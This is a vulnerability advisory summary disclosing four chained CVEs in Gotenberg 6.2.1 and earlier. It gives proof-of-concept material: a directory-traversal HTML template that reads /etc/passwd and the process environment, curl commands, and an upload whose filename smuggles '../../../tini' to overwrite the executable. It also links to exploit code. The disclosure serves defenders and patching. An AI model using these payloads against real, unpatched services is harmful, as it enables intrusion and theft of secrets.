Multiple vulnerabilities in Gotenberg (a Docker-powered stateless API for converting HTML, Markdown and Office documents to PDF used as a microservice) version <=6.2.0 allow a remote unauthenticated attacker to execute any command within Docker container.

Taking the following CVEs together: CVE-2020-13449, CVE-2020-13450, CVE-2020-13451, we’re getting a full attack leading to unauthenticated RCE.

CVSSv3.1 chained score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A)

Write-up: write-up at medium.com

Exploit code: https://github.com/br0xpl/gotenberg_hack

Video:



Note: This is just a summary, for a full write-up and exploit code click here.

1. Download tirectory traversal

CVE: CVE-2020-13449

Vendor: https://www.thecodingmachine.com

Product: Gotenberg (https://github.com/thecodingmachine/gotenberg)

Version: <=6.2.1

Description: Directory traversal vulnerability in Markdown engine of Gotenberg version 6.2.1 and lower allows unauthorized attacker to read any container files.

PoC:

  1. Create index.html file:

    <!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>My PDF</title>
  </head>
  <body>
    <pre style="white-space: pre-wrap;">
      Path:
      {{ .DirPath }}  
      PASSWD:
      {{ toHTML .DirPath "../../../../etc/passwd" }}
      IP:
      {{ toHTML .DirPath "../../../../proc/net/fib_trie" }}
      TCP:
      {{ toHTML .DirPath "../../../../proc/net/tcp" }}
      env:
      {{ toHTML .DirPath "../../../../proc/self/environ" }}
    </pre>'
  </body>
</html>

  2. Call markdown endpoint:

    $ curl 'http://$URL_GOTENBERG/convert/markdown' --form files=@index.html \
-o result.pdf --header 'Content-Type: multipart/form-data'

2. Upload directory traversal

CVE: CVE-2020-13450

Vendor: https://www.thecodingmachine.com

Product: Gotenberg (https://github.com/thecodingmachine/gotenberg)

Version: <=6.2.1

Description: Directory traversal vulnerability in file upload function of Gotenberg version 6.2.1 and lower allows unauthorized attacker to upload and overwrite any writeable files outside the desired folder.

This can lead to DoS, change program behaviour or even to code execution (see CVE-2020-13451).

PoC:

curl 'http://$URL_GOTENBERG/convert/markdown' --form files=@index.html \
--form "files=@tini;filename=../../../tini" -o res.pdf\ 
--header 'Content-Type: multipart/form-data'

3. Code exec using incomplete cleanup vulnerability

CVE: CVE-2020-13451

Vendor: https://www.thecodingmachine.com

Product: Gotenberg (https://github.com/thecodingmachine/gotenberg)

Version: <=6.2.0

Description: Incomplete cleanup vulnerability in Office rendering engine of Gotenberg version 6.2.1 and lower allows unauthorized attacker (using a different vulnerability like CVE-2020-13450) to overwrite libreoffice config (profile) files and execute arbitrary code using macros.

Gotenberg creates libreoffice profile when office endpoint is called in tmp choosing a folder with a name based on random ephemeral port number chosen by kernel. What is most important after finishing request the profile folder is not removed. Thus using a file upload vulnerability like the one described in CVE-2020-13450 an attacker can modify the profile preparing a macro which is going to be executed next time the same random profile will be reused.

Analyzing kernel sources, in default kernel config, there will be about 7054 different ports choosen at random. The hack requires to retry many times but works reliably.

Exploit code: https://github.com/br0xpl/gotenberg_hack

4. Insecure permissions of main executable

CVE: CVE-2020-13452

Vendor: https://www.thecodingmachine.com

Product: Gotenberg (https://github.com/thecodingmachine/gotenberg)

Version: <=6.2.1

Description: Insecure permissions of /tini (writeable by user gotenberg) file potentially allows an attacker to overwrite the file what can lead to Deny of Service or even code execution.

Timeline

  • 25.05.2020 - Reported an issue on Gotenberg github
  • 04.06.2020 - Author confirms the issues and works on a fix
  • 05.06.2020 - Pull request created.
  • 22.06.2020 - Fix merged to version 6.3.0

Credits

Author: Blazej Adamczyk https://sploit.tech/

Team: Efigo https://efigo.pl/



tags: Gotenberg PDF CVE-2020-13449 CVE-2020-13450 CVE-2020-13451 CVE-2020-13452